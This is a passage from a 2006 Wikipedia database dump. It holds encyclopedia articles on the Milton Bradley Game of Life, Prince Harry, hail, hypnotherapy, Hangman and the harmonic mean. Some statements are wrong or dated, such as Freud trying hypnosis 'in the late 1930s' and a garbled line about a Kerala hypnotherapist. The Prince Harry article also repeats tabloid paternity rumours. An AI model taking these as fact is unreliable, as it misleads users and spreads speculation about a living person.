      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">:''See also the [[cellular automaton]] [[Conway's Game of Life|Game of Life]] devised by mathematician [[John Horton Conway]].''

'''The Game of Life''' is a [[board game]] designed by [[Reuben Klamer]] and originally published by [[Milton Bradley Company]] (now a subsidiary of [[Hasbro]]) in [[1960]] to celebrate Milton Bradley's centennial.
[[Image:Game of life board.jpg|thumb|300px|rihgt|Early stages in a game of 'The Game of Life']]
Between 2 and 10 players each get a plastic car in which they can collect their &quot;family&quot; throughout the game. Each turn consists of spinning a wheel with the numbers 1 to 10 on it, and obeying the instructions of the space they land on. As one progresses through the game, one collects cards with life events on them (''e.g.'' climb [[Mount Everest|Mt. Everest]], cure the [[common cold]] ''etc.''). The game board also has small mountains and other similar pieces, so the board does not appear flat. The player with the most money at the end of the game wins.

The game was endorsed by [[Art Linkletter]] in the [[1960s]] and was updated in [[1992]] to reward players for &quot;good&quot; behavior, such as recycling trash. It is now part of the permanent collection of the [[Smithsonian Institution|Smithsonian]]'s [[National Museum of American History]].

{{Board-game-stub}}

==See also==
*[[The Checkered Game of Life]]

==External links==
*[[BoardGameGeek]] reviews and pictures of [http://www.boardgamegeek.com/game/2921 the game]

[[Category:Board games]]

[[de:Spiel des Lebens (Brettspiel)]]
[[nl:Levensweg]]
[[ja:&amp;#20154;&amp;#29983;&amp;#12466;&amp;#12540;&amp;#12512;]]
[[pt:Jogo da vida (jogo de tabuleiro)]]
[[simple:The Game of Life]]
[[fr:Destins (jeu)]]</text>
    </revision>
  </page>
  <page>
    <title>Prince Harry of Wales</title>
    <id>14457</id>
    <revision>
      <id>42158350</id>
      <timestamp>2006-03-04T05:09:26Z</timestamp>
      <contributor>
        <username>Acjelen</username>
        <id>107326</id>
      </contributor>
      <minor />
      <comment>/* Birth and childhood */ Sandhurst is a school</comment>
      <text xml:space="preserve">{| align=right
| [[Image:Prince Harry.jpg|thumb|200px|Prince Harry of Wales in uniform as a [[Royal Military Academy Sandhurst|Sandhurst]] officer cadet.]]
|-
| {{British Royal Family}}
|}

'''Prince Henry of Wales''' (Henry Charles Albert David [[Mountbatten-Windsor]]) (born [[September 15]], [[1984]]), informally named '''Prince Harry''' by his parents,{{ref|parents}} is the third in the line of succession to the British throne and the thrones of other [[Commonwealth Realm]]s, behind his father, the [[Charles, Prince of Wales|Prince of Wales]], and his elder brother, [[Prince William of Wales]]. He is the grandson of Queen [[Elizabeth II of the United Kingdom|Elizabeth II]]. He has generally been regarded as a carefree, fun-loving, and rebellious member of the [[British Royal Family]]. 

==Birth and childhood==
Harry was born on [[September 15]], [[1984]] at [[St Mary's Hospital (London)|St Mary's Hospital]], [[Paddington]], in central [[London]]. His father is His Royal Highness [[Charles, Prince of Wales|Prince Charles, Prince of Wales]], the eldest son of [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] and [[Prince Philip, Duke of Edinburgh]]. His mother is the late [[Diana, Princess of Wales]], the former wife of the Prince of Wales, who died in 1997. He has an elder brother, [[Prince William of Wales|Prince William]].

He was christened on [[December 21]] [[1984]] at [[St. George's Chapel]] [[Windsor Castle]] by the Archbishop of Canterbury, [[Robert Alexander Kennedy Runcie|Dr. Robert Runcie]]. His godparents were: his uncle the [[Prince Andrew, Duke of York|Duke of York]], [[Lady Sarah Chatto]], Lady Vestey, Mrs William Bartholomew; the portrait painter, Mr. Bryan Organ; and Mr. Gerald Ward. 

The prince's official family name is that of Windsor, according to his grandmother's royal proclamation of 1960, but some of the descendants of [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] appear to utilize the surname [[Mountbatten-Windsor]] as personal preference. At school, Prince Harry is known as Officer Cadet Wales or Mr Wales.

Charles is said to have wanted a daughter, and to have been deeply disappointed when the baby was a boy; worse, according to Diana's version of events, Harry, Charles ruefully noted, had &quot;ruddy hair&quot;, a Spencer family trait. Biographers agree that their marriage was already troubled before then, and became irreparably broken shortly afterwards. Some people note that Harry shares red hair colour with Diana's lover [[James Hewitt]], and see this superficial characteristic enough to doubt Charles' paternity.  Hewitt's affair with Diana may not have begun, however, until well after Harry was born. On 29th June 2005, the Sun newspaper published extracts from a close friend of Princess Diana, that proved Prince Charles was Harry's father.  Harry resembles both his paternal grandfather in his youth and increasingly the Prince of Wales.

===Death of Diana, Princess of Wales===
[[Image:Harry and William.jpg|thumb|200px|Prince Harry with his brother Prince William in an official portrait for his 21st birthday]]
On [[August 31]], [[1997]], Harry's mother died following in a car accident in [[Paris]], with her partner [[Dodi Al-Fayed]] and their driver [[Henri Paul]] (although a bodyguard survived, probably because he was the only one in the car wearing a seat belt). Her death came days after she spent a holiday in Southern France with William and Harry. The princes were staying at [[Balmoral Castle]]; it was Charles who awoke them and broke the tragic news.

At Diana's celebrity-studded funeral - which was broadcast live throughout the world - the princes, their father, grandfather (Prince Philip), and uncle ([[Charles Spencer, 9th Earl Spencer |the Earl Spencer]]) walked behind Diana's funeral cortege from [[Buckingham Palace]] to [[Westminster Abbey]]. On Diana's coffin was a card from Harry, made out to ''Mummy''. Cameras were barred from showing the princes during the service itself; Harry reportedly broke down and sobbed several times. Both princes were praised for their strength shown on that day.

Contrary to his eulogy, in which he promised that Diana's &quot;blood family&quot; would take over her less-traditional upbringing of them, the boys have seen little of the Earl Spencer and the other members of Diana's family.

==Education== 
{{infobox hrhstyles|
image=[[image:COA Prince Harry Wales.gif|60px]]|
royal name=HRH Prince Henry of Wales|
dipstyle=[[HRH|His Royal Highness]]|
offstyle=Your Royal Highness|
altstyle=Sir|}}
Harry attended the Mrs. Jane Mynors's nursery school in West [[London]], the same as William. He later followed his brother to the pre-prep [[Wetherby School]], and later to [[Ludgrove School]] in [[Berkshire]]. He later attended the prestigious [[Eton College]] in [[Eton, Berkshire]]. In June 2003, he finished Eton with two [[A-level]]s in Geography and Art, of grades D and B respectively.

At school, he developed his love of sport, particularly [[polo]] and [[rugby union]]. He has also participated in the [[Eton Wall Game]].

After finishing [[Eton College|Eton]], Harry undertook a [[gap year]], visiting [[Australia]] and [[Africa]]. In Australia he worked on a cattle station, and watched the [[2003 Rugby World Cup]] being held in the country. In Africa, he worked in an orphanage in [[Lesotho]]. Later in the year he travelled to [[Argentina]] on vacation, but returned amid rumours of drunkenness and a kidnapping attempt. [http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2004/11/27/nharri27.xml&amp;sSheet=/news/2004/11/27/ixnewstop.html]

==Army==
On [[May 8]] [[2005]], the Prince entered the [[Royal Military Academy Sandhurst]].  There he was known as Officer Cadet Wales instead of using his royal title, and was part of [[Alamein Company]]. [http://news.bbc.co.uk/1/hi/uk/4526077.stm]  

Clarence House announced that he will, upon commissioning in April 2006, join the [[Blues and Royals]], regiment of the [[Household Cavalry]], and train as a reconnaissance troop commander. [http://www.princeofwales.gov.uk/princes/harry/060125_harry_regiment.html]
Since then it was reported that he was expected to deploy to [[Iraq]] in May 2007 as part of the [[1st Mechanised Brigade]] of the [[3rd (UK) Mechanised Division]]. The [[Blues and Royals]] would form part of the force patrolling the governorate of [[Maysan]] on the Iran-Iraq border.

==Romances==
The prince's only serious romance has been with [[Chelsy Davy]] (born 1985), a [[Zimbabwe]]-born heiress to an [[African]] [[ranch]]ing and real estate fortune. According to published reports quoting the young woman's uncle Paul Davy, she and the prince discussed marriage in December 2004. This desire, however, resulted in no public announcements of any engagement, formal or informal, and the couple reportedly broke off their relationship in February 2005. However, in an interview conducted for his twenty-first birthday in September 2005, Prince Harry referred to Chelsy as his girlfriend and the press reported that their relationship was at that time eighteen months old, strongly contradicting reports they were no longer a couple.

==Controversies==
===Drinking and alleged drug-taking ===
Some of Harry's reported actions have provoked widespread media attention. In January 2002, it was revealed that the prince had admitted smoking [[Cannabis (drug)|marijuana]] and had allegedly engaged in under-age drinking, raising the possibility that criminal charges would be filed against him in the summer of 2001. A subsequent police investigation cleared Harry of wrongdoing and Harry's father Charles was praised for his handling of the situation, which included taking Harry to visit a drug rehabilitation facility in [[London]]. However, the basement of Charles's [[Highgrove]] home is rumoured to be a private nightclub nicknamed &quot;Club H&quot;, where Harry and his friends can entertain themselves free of observation by the press.

===Altercation with paparazzo===
On the morning of [[October 21]], [[2004]], HRH Prince Harry had an altercation with  [[paparazzi|paparazzo]] photographer Chris Uncle as he left [[Pangaea Nightclub|Pangaea]], a [[Piccadilly Circus]] nightclub. The photographer was left with a cut lip whilst the Prince left unharmed. After the story appeared in the tabloids, he issued a statement in which he stated that his behaviour had been &quot;disappointing&quot; and in which he publicly apologised to Charles.

===Nazi costume===
[[Image:Sun harry the nazi.jpg|150px|thumb|right|The &quot;Harry the Nazi&quot; photo on the cover page of ''[[The Sun (newspaper)|The Sun]]''.]] On [[January 8]], [[2005]], Harry attended a [[costume party|fancy-dress party]] (costume party) on the theme of &quot;Colonials and Natives&quot; at the country estate of Olympic show jumper Richard Meade in [[Wiltshire]]. Choosing not to use any British reference, Harry came to the party wearing a [[military uniform|military tunic]] with a [[Flag of Germany|German flag]] on the arm; when he took it off, the pale [[khaki]] shirt underneath showed a [[Wehrmacht]] national emblem on the collar and a [[swastika]] armband. A reporter from ''[[The Sun (newspaper)|The Sun]]'' who had been tipped off previously took a photo of Harry that also showed him holding a [[cigarette]] and a [[Alcoholic beverage|drink]]. The incongruity of his costume was punctuated by the fact that the swastika on the armband was of the type used by the [[Finnish Defence Forces|Finnish military]]. After the photo was published in the [[January 13]], [[2005]] issue of ''The Sun'', an intense controversy resulted, including demands that the prince be barred from entering the [[Royal Military Academy Sandhurst]] (as well as contrary demands that he join the Army as soon as possible). The uproar was caused not by a simple distasteful choice of costume, but because of Harry's apparent ignorance of historical sensitivities and the alleged message of disrespect for British [[World War II]] veterans and their families, which included his own grandparents: the Queen and the Duke of Edinburgh. The controversy was exacerbated because the party took place exactly two weeks before the [[Holocaust Memorial Day (UK)|Holocaust Memorial Day]], the 60th anniversary of the liberation of the [[Auschwitz concentration camp]] in [[Poland]] by the [[Red Army]]. 

Prince Harry responded with a written apology in which he said that he was &quot;very sorry if I have caused offence&quot; for his &quot;poor choice.&quot; Prince Charles, who was reportedly &quot;incandescent with rage&quot; over the incident, ordered Harry and his brother William&amp;mdash;who was present when Harry chose his outfit&amp;mdash;to visit Auschwitz privately, with members of a Jewish charity, to learn about the Holocaust, its causes, and consequences. However, ''[[The Times]]'' called the apology &quot;feeble&quot; and denounced his involvement with a &quot;dubious group of self-indulgent young men who are apparently content with a life of pointless privilege.&quot; ''[[The Guardian]]'' was even sharper in its condemnation, observing that &quot;Prince Harry seems less interested in preparing for a life of royal service than auditioning for the role of [[village idiot]],&quot; although other newspapers and other media were more deferential.

==Style and arms==
[[image:COA Prince Harry Wales.gif|thumb|left|Coat of Arms of HRH Prince Harry of Wales]]

Prince Harry has the title of [[British prince|Prince of the United Kingdom of Great Britain and Northern Ireland]] with the style [[HRH|''His Royal Highness'']].

On his 18th birthday, his grandmother, Queen Elizabeth II granted Prince Harry his own personalised [[coat of arms]], the [[Royal Coat of Arms of the United Kingdom]] with a label for difference: ''Quarterly, 1st and 4th Gules three Lions passant guardant in pale Or (England), 2nd Or a Lion rampant within a Double Tressure flory counterflory Gules (Scotland), 3rd Azure a Harp Or stringed Argent (Ireland), the whole differenced by a Label of five points Argent the first third and fifth points charged with an Escallop Gules''. 

Prince Harry's coat of arms has a label of five points, as the grandchild of the sovereign. The ''escallops'' (seashells) allude to his late mother Diana, Princess of Wales, whose [[Earl Spencer|Spencer]] coat of arms includes three ''escallops argent''.

===Titles from birth===
* His Royal Highness Prince Henry of Wales ([[15 September]] [[1984]]&amp;mdash;)

==See also==
*[[List of British princes]]
*[[British Royal Family]]
*[[Line of Succession to the British Throne]]

==Footnotes==
# {{Note|Parents}} His parents, the Prince and Princess of Wales, announced when revealing his name that though officially ''Prince Henry of Wales'' he would be called in practice ''Prince Harry''.

==External links==
* [http://www.royal.gov.uk/output/Page465.asp Royal.gov.uk- Prince Harry]
* [http://www.princeofwales.gov.uk/princes/harry/harry_index.html About the Prince] - From Prince of Wales official Site
* [http://www.princeharry.co.uk Prince Harry] - Unofficial Fan Site
* [http://whu.teamhighgrove.com Will and Harry Unlimited] - Fan Site

{{start box}}
{{succession box one to two|title1=[[Line of Succession to the British Throne]]|title2=[[United Kingdom order of precedence]]&lt;br&gt;''Gentlemen''|before=[[Prince William of Wales]]|after1=[[Prince Andrew, Duke of York]]|after2=[[Prince Richard, Duke of Gloucester]]|years1=|years2=}}
{{end box}}


[[Category:1984 births|Harry of Wales, Prince]]
[[Category:English &amp; British princes|Harry of Wales, Prince]]
[[Category:Living people|Harry of Wales, Prince]]
[[Category:Londoners|Harry of Wales, Prince]]
[[Category:Mountbatten-Windsor family|Harry of Wales, Prince]]
[[Category:Old Etonians|Henry of Wales, Prince]]

[[cy:Tywysog Harri o Gymru]]
[[de:Henry Mountbatten-Windsor]]
[[es:Enrique de Gales]]
[[fr:Henri de Galles]]
[[he:הנסיך הארי מווילס]]
[[it:Principe Henry del Galles]]
[[ja:ヘンリー・マウントバッテン＝ウィンザー]]
[[nl:Henry Mountbatten-Windsor]]
[[no:Henry av Wales]]
[[pl:Książę Harry]]
[[pt:Príncipe Harry de Gales]]
[[sv:Henry av Storbritannien]]</text>
    </revision>
  </page>
  <page>
    <title>Hail</title>
    <id>14458</id>
    <revision>
      <id>42128441</id>
      <timestamp>2006-03-04T00:28:54Z</timestamp>
      <contributor>
        <username>Elf</username>
        <id>40082</id>
      </contributor>
      <comment>see also</comment>
      <text xml:space="preserve">[[image:large_hailstone.jpg|thumb|A large hailstone]]

'''Hail''' is a type of [[graupel]], a form of [[precipitation]], composed of spears or irregular lumps of [[ice]].  It occurs when [[supercooled]] [[water]] [[Drop (liquid)|droplet]]s (remaining in a [[liquid]] state despite being below the [[freezing point]], 0 °C/32 °F) in a [[storm]] [[cloud]] [[aggregate]]s around some solid object, such as a [[dust]] [[particle]] or an already-forming hailstone.  The water then freezes around the object.  Depending on the [[wind]] patterns within the cloud, the hailstone may continue to circulate for some time, increasing in size.  Eventually, the hailstone falls to the ground, when the updraft is no longer strong enough to support its [[weight]].

[[image:hailstorm.jpg|left|thumb|Hailstorm]]

Hail often forms in strong [[thunderstorm]]s, often along a [[cold front]], where the layer of [[Earth's atmosphere|air]] on top is much colder than that on the bottom.  The smaller hailstones can bounce up and down between the warm and cold layers due to [[updraft]]s and [[gravity]].  The longer the stones bounce around, the larger they grow.  For the same reason, larger hail can occur in warmer [[region]]s of the [[world]] due to stronger updrafts.  These strong, severe, or even [[supercell]] thunderstorms usually occur in [[summer]], and don't require a cold front. 

[[Image:Queensland HailStorm 260305.JPG|right|thumb|After a mild hailstorm in Brisbane, Australia - a subtropical region]]

Hail can do serious damage, notably to [[automobile]]s, [[skylight]]s, and [[glass]]-[[roof]]ed [[structure]]s.  Rarely, massive hailstones have been known to cause [[concussion]]s or [[fatal]] [[head (anatomy)|head]] [[physical trauma|trauma]].

Hailstones, while most commonly only a few [[millimetre]]s in [[diameter]], can sometimes grow to several [[centimetre]]s or occasionally even bigger. [[Pea]] or [[golf#Golf_balls|golf]]ball-size hailstones are not uncommon in severe [[storm]]s. The image to the right shows an aggregate hailstone with smaller stones visible. The [[ruler]] shows the size of this hailstone as approximately 6 [[Metre#SI_multiples|cm]], almost the size of a tennis ball.

[[Image:P3030054 Hail crwb.jpg|thumb|Small hail from a [[thunderstorm]], compared to a [[Quarter (United States coin)|U.S. quarter]], in [[San Jose, California]].]]
One of the most notorious regions for large hail is northern [[ India ]] and [[ Bangladesh ]] , which have reported more hail related deaths than anywhere else in the world and also some of the largest hailstones ever measured. [[ China ]] is also notorious for killer hailstorms. [[ Russia ]] and much of Eastern Europe is prone to large hail. The plains states of the [[ United States ]] and the adjacent provinces in [[ Canada ]] are also subjected to violent thunderstorms which produce large hail. The states of [[ Wyoming ]], [[ Colorado ]], [[ Kansas ]] and [[ Nebraska ]] are particularly prone to severe hailstorms. Tremendous damage can be inflicted on crops and some of the largest hailstones ever measured have fallen in this region. Southern Africa is also affected by violent hailstorms .
Small hail can occur without accompanying thunderstorms, particularly in winter - most notably in the northwestern USA and western Canada coastal regions and over the [[ British Isles ]].

   
== Costly or deadly hailstorms ==
{{Commons|Hail}}
*[[July 11]] [[1990]], [[Denver, Colorado]], [[USA]], $625 million, softball-sized hail destroyed roofs and cars.
*[[May 5]] [[1995]], [[Dallas, Texas|Dallas]] and [[Fort Worth, Texas]], [[USA]], $1.1 billion insured losses.
*[[April 12]] [[1999]], [[Sydney]], [[New South Wales]], [[Australia]], $190 Million. 15 thousand homes lost power and several people were injured.
*[[April 10]] [[2001]], [[Saint Louis, Missouri]], [[USA]], $1.9 billion insured losses.
*[[July 19]] [[2002]], [[Henan Province]], [[China]], 25 dead and hundreds injured.

==See also==
*[[Soft hail]]
*[[Sleet]]

[[Category:Precipitation]]
[[Category:Storms]]
[[Category:Weather hazards]]

[[cs:Kroupy (meteorologie)]]
[[da:Hagl (nedbør)]]
[[de:Hagel]]
[[es:Granizo]]
[[eo:Hajlo]]
[[fr:Grêle]]
[[it:Grandine]]
[[he:ברד]]
[[nl:Hagel]]
[[ja:霰]]
[[ku:Zîpik]]
[[no:Hagl]]
[[nn:Hagl]]
[[pl:Grad]]
[[pt:Granizo]]
[[simple:Hail]]
[[sv:Hagel]]
[[th:ลูกเห็บ]]</text>
    </revision>
  </page>
  <page>
    <title>Hypnotherapy</title>
    <id>14459</id>
    <revision>
      <id>41729879</id>
      <timestamp>2006-03-01T09:44:45Z</timestamp>
      <contributor>
        <ip>70.36.122.250</ip>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">'''Hypnotherapy''' is the application of [[hypnosis]] as a form of treatment, usually for relieving pain or conditions related to one's state of mind. Practitioners believe that when a client enters, or believes he has entered, a state of [[trance]], the patient is more receptive to suggestion and other therapy. The most common use of hypnotherapy is to remedy maladies like [[obesity]], [[Tobacco smoking|smoking]], [[pain]], [[ego]], [[anxiety]], [[stress (medicine)|stress]], [[amnesia]], [[phobia]]s, and [[performance]] but many others can also be treated by hypnosis, including functional disorders like [[Irritable Bowel Syndrome]].

== History ==
The roots of medicine by therapy lie in ancient societies even earlier than the [[Ancient Egyptians]] and Ancient [[Indigenous peoples of the Americas|Indians]]. Religious rituals were characterized by [[dancing]], [[music]], and masked peoples assuming new identities.  

In the nineteenth century, healers like [[Abbe Faria]] and practitioners like [[Franz Anton Mesmer]], [[James Braid (physician)|James Braid]], [[James Esdale]], [[John Elliotson]], [[Ambroise-Auguste Liébault]], [[Emile Coue]], and [[Jean-Martin Charcot]] met resistance from society and the medical community for their novel ideas on using hypnosis to treat illness.

[[Sigmund Freud]] tried using hypnosis for [[psychology|psychological]] treatment in the late 1930s but he was not successful in treating any ailment with it and gave up on it in favor of his newly developed [[free association (psychology)|free association]] technique.

In the 1940s [[Andrew Salter]] introduced [[conditioned reflex]] therapy. He thus gave a rebirth to hypnotherapy.
[[Dr, Kovoor]] the famous athiest from kerala was one of the most successful modern hypnotherapists

[[Milton H. Erickson]] was one of the most successful modern hypnotherapists. He wrote many books, journals, and articles, on the subject and is a defining figure of modern hypnotherapy.  As a professional doctor of medicine (MD) he treated many patients successfully using hypnotic techniques and did his very best to document his achievements.

== Relationship ==
The Hypnotist-Subject relationship has been feared by some due to the practice of stage performers.  In a book by [[Erica Fromm]], it has been referred to as &quot;archaic involvement&quot;, listing these responses in the &quot;patient&quot;:

* Feeling like a child in relation to the hypnotist.
* Wanting to please the hypnotist.
* Feeling guilty at not doing what the hypnotist wants.
* Worrying the hypnotist will not like you.
* Wanting to bask in the &quot;power and glory&quot; of the hypnotist.
* Everything the hypnotist says and does deeply matters.

Hypnotherapy, however, usually takes place in a clinical setting, within the framework of an individual course of therapy.

== Techniques ==
* Age Regression - by returning to an earlier ego-state the patient can regain qualities they once had, but have lost.  Remembering an earlier, healthier, ego-state can increase the patients strength and confidence. 
* Revivification - remembering past experiences can contribute to therapy.  For example; the hypnotist may ask &quot;have you ever been in trance?&quot; and then find it easier to revive the previous experience than  attempt inducing a new state.
* Guided Imagery - a method by which the subject is given a new relaxing and beneficial experience.
* Confusion - a method developed by [[:Milton Erickson]] in which the subject becomes receptive to ideas because confused.
* Repetition - the more an idea is repeated the more likely it is to be accepted and acted upon by the patient.
* Direct Suggestion - suggesting directly. &quot;You feel safe and secure&quot;. 
* Indirect Suggestion - using &quot;interspersal&quot; technique and other means to cause effect.    
* Mental State - people are more receptive while relaxed, sleeping, or in a [[:trance]].
* Hypnoanalysis - the client recalls moments from his past, confronting them and releasing associated emotions, similar to [[:psychoanalysis]]. 
* Post Hypnotic Suggestion - a suggestion that will be carried out after the trance has ended. &quot;When you re-awaken you will feel refreshed.&quot;
* Binds or [[Double binds]] - tension on a bind causes trance.  This is like &quot;the centipede who when asked which comes first, the left foot or the right, lost his concentration, stumbled, then rolled into the ditch&quot;.  Binds are very common in hypnosis and it is essential to know the capacity of the subject and to ensure they will concentrate on the leg that will carry them through their journey.  The duty of the hypnotist is to concentrate the subject on their desired goal.
* Visualization - being told to imagine or visualize a desired outcome seems to make it more likely to actually occur.
* Techniques specific to medical disorders, such as gut-directed hypnotherapy protocols for [[Irritable Bowel Syndrome]] (Van Vorous, 2001)

==See also==
* [[Hypnosis]]
* [[Psychotherapy]]
* [[Suggestibility]]

==References==
*Van Vorous, Heather. First Year: IBS (Irritable Bowel Syndrome), ISBN 1569245479. Hypnotherapy chapter excerpted with author's permission at [http://www.helpforibs.com/ Help For Irritable Bowel Syndrome] (see IBS Hypnosis section).
*[http://alchemyinstitute.com/articles.htm Alchemical Hypnotherapy Articles ]

==External links==
* [http://health.groups.yahoo.com/group/The_Art_Of_Hypnosis The Art of Hypnosis Study Group]
*[http://www.harleyclinicalhypnotherapy.com/faq.htm Hypnotherapy vs Hypnosis FAQ]

[[Category:Psychotherapy]]
[[Category:Hypnosis]]
[[Category:Therapy]]

[[de:Hypnotherapie]]
[[it:Ipnoterapia]]
[[nl:Hypnotherapie]]
[[ja:催眠療法]]</text>
    </revision>
  </page>
  <page>
    <title>Hangman</title>
    <id>14462</id>
    <revision>
      <id>40792080</id>
      <timestamp>2006-02-23T01:18:25Z</timestamp>
      <contributor>
        <ip>24.149.205.186</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''This article is about the game Hangman. For information about persons who carry out [[hanging]]s, see [[Executioner]].''

'''Hangman''' is a [[paper and pencil game|paper and pencil]] [[guessing game]] for two players.
One player thinks of a word and the other tries to guess it by suggesting [[letter]]s.

The word to guess is represented by a row of dashes, giving the number of letters. If the guessing player suggests a letter which occurs in the word, the other player writes it in all its correct positions. If the suggested letter does not occur in the word, the other player draws one element of the hangman diagram. The game is over when:

* the guessing player completes the word, or guesses the whole word correctly
* the other player completes the diagram:

  +----+
  |/   |
  |    O
  |   /|\
  |   / \
 -+-

 -a-g-a-

This diagram is, in fact, designed to look like a hanging man. Although debates have arisen about the questionable taste of this picture, it is still in use today.

The exact nature of the diagram differs; some players draw the [[gallows]] before play and draw parts of the man's body (traditionally the head, then the torso, then the left arm, then the right arm, then the left leg, then the right leg).

Some players begin with no diagram at all, and drawing the individual elements of the gallows as part of the game, effectively giving the guessing players more chances.

Some modifications to game play, such as &quot;'buying' a vowel&quot; result from the television game show ''[[Wheel of Fortune]]'', created by [[Merv Griffin]].

==History==
&quot;The origins of Hangman are obscure, but it seems to have arisen in Victorian times,&quot; says Tony Augarde, author of &quot;The Oxford Guide to Word Games&quot; (Oxford University Press).

The game is mentioned in Alice Bertha Gomme's &quot;Traditional Games&quot; in [[1894]] under the name &quot;Birds, Beasts and Fishes.&quot; The rules are simple; a player writes down the first and last letters of a word for an animal, and the other player guesses the letters in between. 

In other sources the game is called &quot;Gallows&quot; or &quot;The Game of Hanging&quot;.

==Strategy==
In the English language, the 12 most commonly occurring letters are, in descending order:
[[ETAOIN SHRDLU|e-t-a-o-i-n-s-h-r-d-l-u]].  This and other [[Letter frequencies|letter-frequency]] lists are used by the guessing player to increase the odds when forced to guess.

On the other hand, the same lists can be used by the hangman (the non-guessing player) to stump his/her opponent.

==Example game==
The following example game illustrates a player trying to guess the word ''hangman'' using a strategy based solely on letter frequency.

{|
|-
|1
|{{Hangman|word=.......|guess=E|misses=|misscount=0}}
|-
|2
|{{Hangman|word=.......|guess=T|misses=e|misscount=1}}
|-
|3
|{{Hangman|word=.......|guess=A|misses=e,t|misscount=2}}
|-
|4
|{{Hangman|word=.A...A.|guess=O|misses=e,t|misscount=2}}
|-
|5
|{{Hangman|word=.A...A.|guess=I|misses=e,o,t|misscount=3}}
|-
|6
|{{Hangman|word=.A...A.|guess=N|misses=e,i,o,t|misscount=4}}
|-
|7
|{{Hangman|word=.AN..AN|guess=S|misses=e,i,o,t|misscount=4}}
|-
|8
|{{Hangman|word=.AN..AN|guess=H|misses=e,i,o,s,t|misscount=5}}
|-
|9
|{{Hangman|word=HAN..AN|guess=R|misses=e,i,o,s,t|misscount=5}}
|-
|10
|{{Hangman|word=HAN..AN|guess=N/A|misses=e,i,o,r,s,t|misscount=6}}
|-
| colspan=&quot;3&quot;|Guesser loses
|}

==See also==

* [[Tic-Tac-Toe Hangman]]

==External links==
*{{moby game|id=/hangman|name=''Hangman''}}
* [http://www.majstro.com/Web/Majstro/games/games_eng.php Multilingual Hangman] - Online hangman game in many languages
* [http://goobix.com/games/hangman/ Goobix Hangman] - interactive, browser-playable, with English words
* [http://www.braingle.com/games/hangglider/index.php Braingle's Hang Glider] - Flash version of the game with high scores
* [http://www.friendlydragon.com/hangman/hangman.html Friendly Dragon Hangman] Online hangman game with alternate pictures and multiple word lists
[[Category:Guessing games]]
[[Category:Paper and pencil games]]
[[Category:Word games]]

[[de:Galgenmännchen]]
[[es:Ahorcado (juego)]]
[[fi:Hirsipuu]]
[[no:Hangman]]
[[sv:Hänga gubbe]]</text>
    </revision>
  </page>
  <page>
    <title>Harmonic mean</title>
    <id>14463</id>
    <revision>
      <id>41225232</id>
      <timestamp>2006-02-25T22:27:32Z</timestamp>
      <contributor>
        <username>Ruakh</username>
        <id>34628</id>
      </contributor>
      <comment>/* Harmonic mean of two numbers */ We don't need quite so much emphasis here.</comment>
      <text xml:space="preserve">In [[mathematics]], the '''harmonic mean''' is one of several methods of calculating an [[average]]. Typically, it is appropriate for situations when the average of [[rate]]s is desired.

The harmonic mean (&lt;math&gt;H&lt;/math&gt;) of the positive [[real number]]s ''a''&lt;sub&gt;1&lt;/sub&gt;,...,''a''&lt;sub&gt;''n''&lt;/sub&gt; is defined to be 

:&lt;math&gt;H = \frac{n}{\frac{1}{a_1} + \frac{1}{a_2} + ... + \frac{1}{a_n}}.&lt;/math&gt;

==Examples==

In certain situations, the harmonic mean provides the correct notion of &quot;[[average]]&quot;. For instance, if for half the ''distance'' of a trip you travel at 40 miles per hour and for the other half of the ''distance'' you travel at 60 miles per hour, then your average speed for the trip is given by the harmonic mean of 40 and 60, which is 48; that is, the total amount of time for the trip is the same as if you traveled the entire trip at 48 miles per hour. (Note however that if you had traveled for half the ''time'' at one speed and the other half at another the [[arithmetic mean]], 50 miles per hour, would provide the correct notion of &quot;average&quot;.)

Similarly, if in an electrical circuit you have two [[resistor]]s connected ''in parallel'', one with 40 [[ohm]]s and the other with 60 ohms, then the average resistance of the two resistors is 48 ohms; that is, the total resistance of the circuit is the same as it would be if each of the two resistors were replaced by a 48-ohm resistor. (This is not to be confused with their ''[[Series and parallel circuits|equivalent resistance]]'', 24 ohm, which is the resistance needed for a single resistor to replace the two resistors at once.)

==Harmonic mean of two numbers==

When dealing with just two numbers, an equivalent, sometimes more convenient, formula of their harmonic mean is given by:

:&lt;math&gt;H = \frac {{2} {a_1} {a_2}} {{a_1} + {a_2}}.&lt;/math&gt;

In this case, their harmonic mean is related to their [[arithmetic mean]],

:&lt;math&gt;A = \frac {{a_1} + {a_2}} {2},&lt;/math&gt;

and their [[geometric mean]],

:&lt;math&gt;G = \sqrt[2] {{a_1} \cdot {a_2}},&lt;/math&gt;

by

:&lt;math&gt;H = \frac {G^2} {A}.&lt;/math&gt;

Note that this result holds only in the case of just two numbers.

==Relationship with other means==

The harmonic mean is one of the [[Pythagorean means]] and is never larger than the [[geometric mean]] or the [[arithmetic mean]] (the other two [[Pythagorean means]]).

It is the special case &lt;math&gt;M_{-1}&lt;/math&gt; of the [[power mean]].

It is equivalent to a [[weighted arithmetic mean]] with each value's weight being the reciprocal of the value.

==Other names==

In older literature, it is sometimes called the subcontrary mean.

==See also==
* [[Pythagorean means]]
* [[Geometric mean]]
* [[Arithmetic mean]]
* [[Weighted harmonic mean]]
* [[Rates]]
* [[Generalized mean]]
* [[Diatessaron (harmony)]]
* [[Tertius minor]]

==External links==
[http://mathworld.wolfram.com/HarmonicMean.html Harmonic Mean at MathWorld]

[[Category:Means]]

[[bg:Средно хармонично]]
[[es:Media armónica]]
[[gl:Media harmónica]]
[[pl:Średnia harmoniczna]]
[[pt:Média harmônica]]
[[fi:Harmoninen keskiarvo]]
[[su:Harmonic mean]]</text>
    </revision>
  </page>
  <page>
    <title>Hellbender</title>
    <id>14465</id>
    <revision>
      <id>40429234</id>
      <timestamp>2006-02-20T14:02:24Z</timestamp>
      <contributor>
        <ip>130.127.66.208</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}

{{Taxobox
| color = pink
| name = Hellbender
| status = {{StatusEndangered}}
| image = Cryptobranchus alleganiensis.jpg
| image_width = 240px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Lissamphibia]]
| ordo = [[Caudata]]
| familia = [[Cryptobranchidae]]
| genus = '''''Cryptobranchus'''''
